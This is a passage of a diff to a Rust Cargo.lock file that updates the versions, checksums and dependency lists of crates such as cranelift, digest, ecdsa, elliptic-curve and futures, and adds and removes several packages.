= "0fa961b519f0b462e3a3b4a34b64d119eeaca1d59af726fe450bbba07a9fc0a1" dependencies = [ - "thiserror 2.0.18", + "thiserror 2.0.21", ] [[package]] name = "const-oid" -version = "0.9.6" +version = "0.10.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" +checksum = "a6ef517f0926dd24a1582492c791b6a4818a4d94e789a334894aa15b0d12f55c" + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" [[package]] name = "countme" @@ -257,6 +301,21 @@ version = "3.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7704b5fdd17b18ae31c4c1da5a2e0305a2bf17b5249300a9ee9ed7b72114c636" +[[package]] +name = "cpp_demangle" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0667304c32ea56cb4cd6d2d7c0cfe9a2f8041229db8c033af7f8d69492429def" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "cpubits" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "15b85f9c39137c3a891689859392b1bd49812121d0d61c9caf00d46ed5ce06ae" + [[package]] name = "cpufeatures" version = "0.2.17" @@ -266,29 +325,38 @@ dependencies = [ "libc", ] +[[package]] +name = "cpufeatures" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ca28b0ae3115b884660db4118d803791fd6756b6e88f39c0f3f7859060d7566" +dependencies = [ + "libc", +] + [[package]] name = "cranelift-assembler-x64" -version = "0.130.1" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "046d4b584c3bb9b5eb500c8f29549bec36be11000f1ba2a927cef3d1a9875691" +checksum = "10c7459262c93a3c408bda96acaaa3d92868f166b33d445b20921f8378325038" dependencies = [ "cranelift-assembler-x64-meta", ] [[package]] name = "cranelift-assembler-x64-meta" -version = "0.130.1" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b9b194a7870becb1490366fc0ae392ccd188065ff35f8391e77ac659db6fb977" +checksum = "97a25bfba0da265ef1f98728358e9bb3ab7489913e7bd759c743108892288934" dependencies = [ "cranelift-srcgen", ] [[package]] name = "cranelift-bforest" -version = "0.130.1" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bb6a4ab44c6b371e661846b97dab687387a60ac4e2f864e2d4257284aad9e889" +checksum = "32a9ad33269057337a70db66950f426fbdce436a66fe8071f55851a13a2e40cd" dependencies = [ "cranelift-entity", "wasmtime-internal-core", @@ -296,9 +364,9 @@ dependencies = [ [[package]] name = "cranelift-bitset" -version = "0.130.1" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b8b7a44150c2f471a94023482bda1902710746e4bed9f9973d60c5a94319b06d" +checksum = "d322e6584efe3b229b1164b49edf55aec561553426f7fe3e228a45e80a15a190" dependencies = [ "serde", "serde_derive", @@ -307,9 +375,9 @@ dependencies = [ [[package]] name = "cranelift-codegen" -version = "0.130.1" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "01b06598133b1dd76758b8b95f8d6747c124124aade50cea96a3d88b962da9fa" +checksum = "6a7b9f73f97da69d6edc9adbfeec068cdb2649f0221be41abd3909267cb1cd53" dependencies = [ "bumpalo", "cranelift-assembler-x64", @@ -321,13 +389,16 @@ dependencies = [ "cranelift-entity", "cranelift-isle", "gimli 0.33.0", - "hashbrown 0.16.1", + "hashbrown 0.17.0", "libm", "log", + "postcard", "pulley-interpreter", "regalloc2", - "rustc-hash 2.1.1", + "rustc-hash 2.1.3", "serde", + "serde_derive", + "sha2 0.10.9", "smallvec", "target-lexicon", "wasmtime-internal-core", @@ -335,9 +406,9 @@ dependencies = [ [[package]] name = "cranelift-codegen-meta" -version = "0.130.1" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6190e2e7bcf0a678da2f715363d34ed530fedf7a2f0ab75edaefef72a70465ff" +checksum = "e7015ef10993d7129e0bce933874b60dab8187239aca4ceca352987d9907d528" dependencies = [ "cranelift-assembler-x64-meta", "cranelift-codegen-shared", @@ -348,24 +419,24 @@ dependencies = [ [[package]] name = "cranelift-codegen-shared" -version = "0.130.1" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f583cf203d1aa8b79560e3b01f929bdacf9070b015eec4ea9c46e22a3f83e4a0" +checksum = "37916b08a7b17e063bae743cb746da542df7df283ced961aae213620dc11e27a" [[package]] name = "cranelift-control" -version = "0.130.1" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "803159df35cc398ae54473c150b16d6c77e92ab2948be638488de126a3328fbc" +checksum = "8154d189f2cc2a84a95a8129773799ddcf2f4609f667047db30715db4be6aa0a" dependencies = [ "arbitrary", ] [[package]] name = "cranelift-entity" -version = "0.130.1" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3109e417257082d88087f5bcce677525bdaa8322b88dd7f175ed1a1fd41d546c" +checksum = "ccbd0c43e96db753f44a84e44f680f9423ed0a475b81f301ba7c44b5db52c37b" dependencies = [ "cranelift-bitset", "serde", @@ -375,11 +446,12 @@ dependencies = [ [[package]] name = "cranelift-frontend" -version = "0.130.1" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14db6b0e0e4994c581092df78d837be2072578f7cb2528f96a6cf895e56dee63" +checksum = "5b28ae2961cdda7a6814431b40e87bee46e57b7f92294467b32f447108e14674" dependencies = [ "cranelift-codegen", + "hashbrown 0.17.0", "log", "smallvec", "target-lexicon", @@ -387,15 +459,15 @@ dependencies = [ [[package]] name = "cranelift-isle" -version = "0.130.1" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ec66ea5025c7317383699778282ac98741d68444f956e3b1d7b62f12b7216e67" +checksum = "41eef45b50970e024d673e3fc4a0703e4fee75ca31d63b26566eb0f142300179" [[package]] name = "cranelift-native" -version = "0.130.1" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "373ade56438e6232619d85678477d0a88a31b3581936e0503e61e96b546b0800" +checksum = "649c7b9ad93d5d92287fee74608cacfb139602116293a46e2f25e6ea5402f05c" dependencies = [ "cranelift-codegen", "libc", @@ -404,15 +476,15 @@ dependencies = [ [[package]] name = "cranelift-srcgen" -version = "0.130.1" +version = "0.135.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ef53619d3cd5c78fd998c6d9420547af26b72e6456f94c2a8a2334cb76b42baa" +checksum = "da04416d8e400ad7ae6d9722db72bfbddfbf36d0ff528ec422c4cc336621a172" [[package]] name = "crc32fast" -version = "1.5.0" +version = "1.5.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511" +checksum = "5f97d3416d5337d15c4b0d78c8c91df922ca143f57ec20e2d1c188333047ef04" dependencies = [ "cfg-if", ] @@ -444,12 +516,17 @@ checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" [[package]] name = "crypto-bigint" -version = "0.5.5" +version = "0.7.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76" +checksum = "9c035cb64cba03dad2fb921f3e218785e8cf9a41790da5eb3a1400f62fa2be11" dependencies = [ - "generic-array", + "cpubits", + "ctutils", + "getrandom 0.4.3", + "hybrid-array", + "num-traits", "rand_core", + "serdect", "subtle", "zeroize", ] @@ -464,11 +541,48 @@ dependencies = [ "typenum", ] +[[package]] +name = "crypto-common" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce6e4c961d6cd6c9a86db418387425e8bdeaf05b3c8bc1411e6dca4c252f1453" +dependencies = [ + "getrandom 0.4.3", + "hybrid-array", + "rand_core", +] + +[[package]] +name = "crypto-primes" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3633a51a39c69ebbaa4feaa694bd83d241e4093901c84a0963b19d9bb3f0cf8f" +dependencies = [ + "crypto-bigint", + "rand_core", +] + +[[package]] +name = "ctutils" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "261af4dc7a06ea8a527a8717d8cbba3417530d6ea14e1edb3de6b67806be474f" +dependencies = [ + "cmov", + "subtle", +] + +[[package]] +name = "daachorse" +version = "5.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6662915a20ca97f4c293df4b589dda442f852429f50fda4f1d779f12cb7fe98f" + [[package]] name = "darling" -version = "0.20.11" +version = "0.24.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fc7f46116c46ff9ab3eb1597a45688b6715c6e628b5c133e288e709a29bcb4ee" +checksum = "ed17f5901b6630b993ca003def43f2f8ef4014fc13b047b57aad617ff32bc2ec" dependencies = [ "darling_core", "darling_macro", @@ -476,27 +590,26 @@ dependencies = [ [[package]] name = "darling_core" -version = "0.20.11" +version = "0.24.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0d00b9596d185e565c2207a0b01f8bd1a135483d02d9b7b0a54b11da8d53412e" +checksum = "6837e2cf7485aaae18f86181d2f0e9a7ed297a025e220aeabf63fdebd3a2ddff" dependencies = [ - "fnv", "ident_case", "proc-macro2", "quote", "strsim", - "syn", + "syn 3.0.9", ] [[package]] name = "darling_macro" -version = "0.20.11" +version = "0.24.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fc34b93ccb385b40dc71c6fceac4b2ad23662c7eeb248cf10d529b7e055b6ead" +checksum = "2ac7135c3ef02b2f7833bbeb1be5ba7f966dcde8a87c6b87f65a778d71a02785" dependencies = [ "darling_core", "quote", - "syn", + "syn 3.0.9", ] [[package]] @@ -507,9 +620,9 @@ checksum = "2a2330da5de22e8a3cb63252ce2abb30116bf5265e89c0e01bc17015ce30a476" [[package]] name = "der" -version = "0.7.10" +version = "0.8.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" +checksum = "6a996a108feb8b427a6e12fcf6af4aa83409b79d72c15337d7741368131ee004" dependencies = [ "const-oid", "pem-rfc7468", @@ -545,10 +658,21 @@ version = "0.10.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" dependencies = [ - "block-buffer", + "block-buffer 0.10.4", + "crypto-common 0.1.6", +] + +[[package]] +name = "digest" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1dd6dbb5841937940781866fa1281a1ff7bd3bf827091440879f9994983d5c2" +dependencies = [ + "block-buffer 0.12.1", "const-oid", - "crypto-common", - "subtle", + "crypto-common 0.2.2", + "ctutils", + "zeroize", ] [[package]] @@ -559,37 +683,40 @@ checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] name = "dsa" -version = "0.6.3" +version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "48bc224a9084ad760195584ce5abb3c2c34a225fa312a128ad245a6b412b7689" +checksum = "5c8573b60d07b5b5cecadc1f978c9b71d5504151e703cbb0439ee4ad301338f3" dependencies = [ - "digest", - "num-bigint-dig", - "num-traits", + "crypto-bigint", + "crypto-common 0.2.2", + "crypto-primes", + "der", + "digest 0.11.3", "pkcs8", "rfc6979", - "sha2", + "sha2 0.11.1", "signature", "zeroize", ] [[package]] name = "ecdsa" -version = "0.16.9" +version = "0.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ee27f32b5c5292967d2d4a9d7f1e0b0aed2c15daded5a60300e4abb9d8020bca" +checksum = "c0681a4fc24c767085329728d8dfba959af91228aa4610cca4f8ce317ba46ae0" dependencies = [ "der", - "digest", + "digest 0.11.3", "elliptic-curve", "rfc6979", "signature", "spki", + "zeroize", ] [[package]] @@ -600,17 +727,17 @@ checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" [[package]] name = "elliptic-curve" -version = "0.13.8" +version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b5e6043086bf7973472e0c7dff2142ea0b680d30e18d9cc40f267efbf222bd47" +checksum = "900f37e7e18d74a2347389af6cd69e3a30d5cc9e697f40004865679aa75e9c7c" dependencies = [ "base16ct", "crypto-bigint", - "digest", + "crypto-common 0.2.2", + "digest 0.11.3", "ff", - "generic-array", "group", - "hkdf", + "hybrid-array", "pem-rfc7468", "pkcs8", "rand_core", @@ -661,14 +788,20 @@ checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" [[package]] name = "ff" -version = "0.13.1" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c0b50bfb653653f9ca9095b427bed08ab8d75a137839d9ad64eb11810d5b6393" +checksum = "a1f686ab92a9fb0eaf188f6c6c87b89490baa6fdb0db4544ba4dc47f7942489f" dependencies = [ "rand_core", "subtle", ] +[[package]] +name = "fiat-crypto" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64cd1e32ddd350061ae6edb1b082d7c54915b5c672c389143b9a63403a109f24" + [[package]] name = "find-msvc-tools" version = "0.1.9" @@ -677,13 +810,13 @@ checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" [[package]] name = "flate2" -version = "1.1.2" +version = "1.1.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4a3d7db9596fecd151c5f638c0ee5d5bd487b6e0ea232e5dc96d5250f6f94b1d" +checksum = "6e634e2e0ebac1ee034020da1ca582e17ffe4e0f5e985823721e168928136dcb" dependencies = [ "crc32fast", - "libz-rs-sys", "miniz_oxide", + "zlib-rs", ] [[package]] @@ -704,6 +837,70 @@ version = "2.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c" +[[package]] +name = "futures" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a31d2a3fbaaeb2af2368bbdd904aa8e812d3c04a1ee10d3171f52d556e5d0a3" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1f9e3d69d39e4862ffed03ed071a76f9a13ba1d9109d355b0f0aa6b15e393c4" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92d699e522242e69e3003b94ecc1f960f3a5e015aa7c5d7486e65ad01dd94f5e" + +[[package]] +name = "futures-io" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53c0fa8157de1303bfffdaa1cc2a673bfffb60102f76b0ef4441659124373fed" + +[[package]] +name = "futures-sink" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1944426bf7d03f1d14f708785e4b33efd750b36d48a157b836b3efc15ede8e1d" + +[[package]] +name = "futures-task" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd417de3d1d015fc3bfd2b1ea46dfc7bab72ef86f1cc7cc9c78e728b34a6d1fd" + +[[package]] +name = "futures-util" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d50a92467f8ba5dd6e3ee5d4bd04d73ab2e4e1c44474a0674821dfce14b79bc" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "slab", +] + [[package]] name = "generic-array" version = "0.14.7" @@ -712,32 +909,32 @@ checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" dependencies = [ "typenum", "version_check", - "zeroize", ] [[package]] name = "getrandom" -version = "0.2.17" +version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4" dependencies = [ "cfg-if", - "js-sys", "libc", - "wasi 0.11.1+wasi-snapshot-preview1", - "wasm-bindgen", + "r-efi 5.3.0", + "wasi", ] [[package]] name = "getrandom" -version = "0.3.3" +version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4" +checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" dependencies = [ "cfg-if", + "js-sys", "libc", - "r-efi", - "wasi 0.14.2+wasi-0.2.4", + "r-efi 6.0.0", + "rand_core", + "wasm-bindgen", ] [[package]] @@ -789,9 +986,9 @@ dependencies = [ [[package]] name = "group" -version = "0.13.0" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0f9ef7462f7c099f518d754361858f86d8a07af53ba9af0fe635bbccb151a63" +checksum = "7fd1a1c7a5206c5b7a3f5a0d7ccd3ff85d0c8f5133d62a02680255b0004af5f4" dependencies = [ "ff", "rand_core", @@ -820,6 +1017,11 @@ name = "hashbrown" version = "0.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4f467dd6dccf739c208452f8014c75c18bb8301b050ad1cfb27153803edb0f51" +dependencies = [ + "foldhash", + "serde", + "serde_core", +] [[package]] name = "heck" @@ -833,22 +1035,13 @@ version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" -[[package]] -name = "hkdf" -version = "0.12.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" -dependencies = [ - "hmac", -] - [[package]] name = "hmac" -version = "0.12.1" +version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +checksum = "6303bc9732ae41b04cb554b844a762b4115a61bfaa81e3e83050991eeb56863f" dependencies = [ - "digest", + "digest 0.11.3", ] [[package]] @@ -860,6 +1053,41 @@ dependencies = [ "windows-sys 0.59.0", ] +[[package]] +name = "hybrid-array" +version = "0.4.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27f864f10dfb56725ce5ce5472bc52252c8f93a4ab86327122cebf62c5f59a17" +dependencies = [ + "subtle", + "typenum", + "zeroize", +] + +[[package]] +name = "iana-time-zone" +version = "0.1.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "log", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + [[package]] name = "id-arena" version = "2.3.0" @@ -890,9 +1118,9 @@ dependencies = [ [[package]] name = "indexmap" -version = "2.14.0" +version = "2.14.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9" +checksum = "cc4e190f5d26ca7051642629da2c52fc03bde85a03197c99408dcd291734c855" dependencies = [ "equivalent", "hashbrown 0.17.0", @@ -902,24 +1130,24 @@ dependencies = [ [[package]] name = "intaglio" -version = "1.13.3" +version = "1.15.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4e062125b1cb1523e2032c12f3a5bac6947ccd1f8c0a8aae96f63609fe0e34ee" +checksum = "8eca9188c1b20836bb561bc09bb2f54e9ca99b271031b5f3ff183a00c08c98c8" [[package]] name = "inventory" -version = "0.3.24" +version = "0.3.25" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4f0c30c76f2f4ccee3fe55a2435f691ca00c0e4bd87abe4f4a851b1d4dac39b" +checksum = "6928282826c822ad91bf1c9a1cb90a30ba1c26770749929b4656cd6be829cd7c" dependencies = [ "rustversion", ] [[package]] name = "ipnet" -version = "2.12.0" +version = "2.12.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d98f6fed1fde3f8c21bc40a1abb88dd75e67924f9cffc3ef95607bad8017f8e2" +checksum = "791930b43c0d5973160d90a8f3894509f2b273430f5c5c73b668636d0287c5c0" [[package]] name = "itertools" @@ -930,6 +1158,15 @@ dependencies = [ "either", ] +[[package]] +name = "itertools" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b4baf93f58d4425749ca49a51c50ebab072c5df6994d08fed93541c331481dc" +dependencies = [ + "either", +] + [[package]] name = "itoa" version = "1.0.15" @@ -948,11 +1185,12 @@ dependencies = [ [[package]] name = "js-sys" -version = "0.3.95" +version = "0.3.107" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2964e92d1d9dc3364cae4d718d93f227e3abb088e747d92e0395bfdedf1c12ca" +checksum = "8dc09d2154098bbf4ef54eab6b117a3c24cbbffe94046b16ee6d6d4510584d3a" dependencies = [ - "once_cell", + "cfg-if", + "futures-util", "wasm-bindgen", ] @@ -961,9 +1199,6 @@ name = "lazy_static" version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" -dependencies = [ - "spin", -] [[package]] name = "leb128" @@ -979,9 +1214,9 @@ checksum = "09edd9e8b54e49e587e4f6295a7d29c3ea94d469cb40ab8ca70b288248a81db2" [[package]] name = "libc" -version = "0.2.180" +version = "0.2.191" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bcc35a38544a891a5f7c865aca548a982ccb3b8650a5b06d0fd33a10283c56fc" +checksum = "65cd87c9a6d60536580b316ad985726104730a5151c99845f2490428ef91240a" [[package]] name = "libfuzzer-sys" @@ -999,15 +1234,6 @@ version = "0.2.16" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b6d2cec3eae94f9f509c767b45932f1ada8350c4bdb85af2fcab4a3c14807981" -[[package]] -name = "libz-rs-sys" -version = "0.5.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "172a788537a2221661b480fee8dc5f96c580eb34fa88764d3205dc356c7e4221" -dependencies = [ - "zlib-rs", -] - [[package]] name = "linux-raw-sys" version = "0.4.15" @@ -1016,9 +1242,9 @@ checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" [[package]] name = "linux-raw-sys" -version = "0.9.4" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" [[package]] name = "log" @@ -1028,71 +1254,66 @@ checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" [[package]] name = "logos" -version = "0.15.1" +version = "0.16.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff472f899b4ec2d99161c51f60ff7075eeb3097069a36050d8037a6325eb8154" +checksum = "eb2c55a318a87600ea870ff8c2012148b44bf18b74fad48d0f835c38c7d07c5f" dependencies = [ "logos-derive", ] [[package]] name = "logos-codegen" -version = "0.15.1" +version = "0.16.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "192a3a2b90b0c05b27a0b2c43eecdb7c415e29243acc3f89cc8247a5b693045c" +checksum = "58b3ffaa284e1350d017a57d04ada118c4583cf260c8fb01e0fe28a2e9cf8970" dependencies = [ - "beef", "fnv", - "lazy_static", "proc-macro2", "quote", + "regex-automata", "regex-syntax", - "rustc_version", - "syn", + "syn 2.0.117", ] [[package]] name = "logos-derive" -version = "0.15.1" +version = "0.16.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "605d9697bcd5ef3a42d38efc51541aa3d6a4a25f7ab6d1ed0da5ac632a26b470" +checksum = "52d3a9855747c17eaf4383823f135220716ab49bea5fbea7dd42cc9a92f8aa31" dependencies = [ "logos-codegen", ] [[package]] name = "mach2" -version = "0.4.3" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d640282b302c0bb0a2a8e0233ead9035e3bed871f0b7e81fe4a1ec829765db44" -dependencies = [ - "libc", -] +checksum = "dae608c151f68243f2b000364e1f7b186d9c29845f7d2d85bd31b9ad77ad552b" [[package]] name = "md-5" -version = "0.10.6" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf" +checksum = "69b6441f590336821bb897fb28fc622898ccceb1d6cea3fde5ea86b090c4de98" dependencies = [ "cfg-if", - "digest", + "digest 0.11.3", ] [[package]] name = "md2" -version = "0.10.2" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1f4f0f3ed25ff4f8d8d102288d92f900efc202661c884cf67dfe4f0d07c43d1f" +checksum = "1d503fa42a36d0bae709eee924b9531ac3dd5a7f30e47d85185fa7d3ea588a08" dependencies = [ - "digest", + "digest 0.11.3", ] [[package]] name = "memchr" -version = "2.8.0" +version = "2.8.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" +checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98" [[package]] name = "memfd" @@ -1100,18 +1321,27 @@ version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ad38eb12aea514a0466ea40a80fd8cc83637065948eb4a426e4aa46261175227" dependencies = [ - "rustix 1.0.8", + "rustix 1.1.6", ] [[package]] name = "memmap2" -version = "0.9.9" +version = "0.9.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "744133e4a0e0a658e1374cf3bf8e415c4052a15a111acd372764c55b4177d490" +checksum = "6b0ca1155a9ecc25aa12e8313a119f32edf0255fea2f44839c4ac0a12b2ac157" dependencies = [ "libc", ] +[[package]] +name = "memoffset" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a" +dependencies = [ + "autocfg", +] + [[package]] name = "minimal-lexical" version = "0.2.1" @@ -1120,11 +1350,24 @@ checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" [[package]] name = "miniz_oxide" -version = "0.8.9" +version = "0.9.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" +checksum = "b63fbc4a50860e98e7b2aa7804ded1db5cbc3aff9193adaff57a6931bf7c4b4c" dependencies = [ "adler2", + "simd-adler32", +] + +[[package]] +name = "nix" +version = "0.31.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf20d2fde8ff38632c426f1165ed7436270b44f199fc55284c38276f9db47c3d" +dependencies = [ + "bitflags", + "cfg-if", + "cfg_aliases", + "libc", ] [[package]] @@ -1156,22 +1399,6 @@ dependencies = [ "num-traits", ] -[[package]] -name = "num-bigint-dig" -version = "0.8.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e661dda6640fad38e827a6d4a310ff4763082116fe217f279885c97f511bb0b7" -dependencies = [ - "lazy_static", - "libm", - "num-integer", - "num-iter", - "num-traits", - "rand", - "smallvec", - "zeroize", -] - [[package]] name = "num-conv" version = "0.2.0" @@ -1180,13 +1407,13 @@ checksum = "cf97ec579c3c42f953ef76dbf8d55ac91fb219dde70e49aa4a6b7d74e9919050" [[package]] name = "num-derive" -version = "0.4.2" +version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ed3955f1a9c7c0c15e092f9c887db08b1fc683305fdf6eb6684f22555355e202" +checksum = "e4e98dc3b890f6c23a0f9d3d491a2823d0dea0fa656302a13dd225fa924112a8" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 3.0.9", ] [[package]] @@ -1198,17 +1425,6 @@ dependencies = [ "num-traits", ] -[[package]] -name = "num-iter" -version = "0.1.45" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf" -dependencies = [ - "autocfg", - "num-integer", - "num-traits", -] - [[package]] name = "num-traits" version = "0.2.19" @@ -1216,17 +1432,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841" dependencies = [ "autocfg", - "libm", ] [[package]] name = "object" -version = 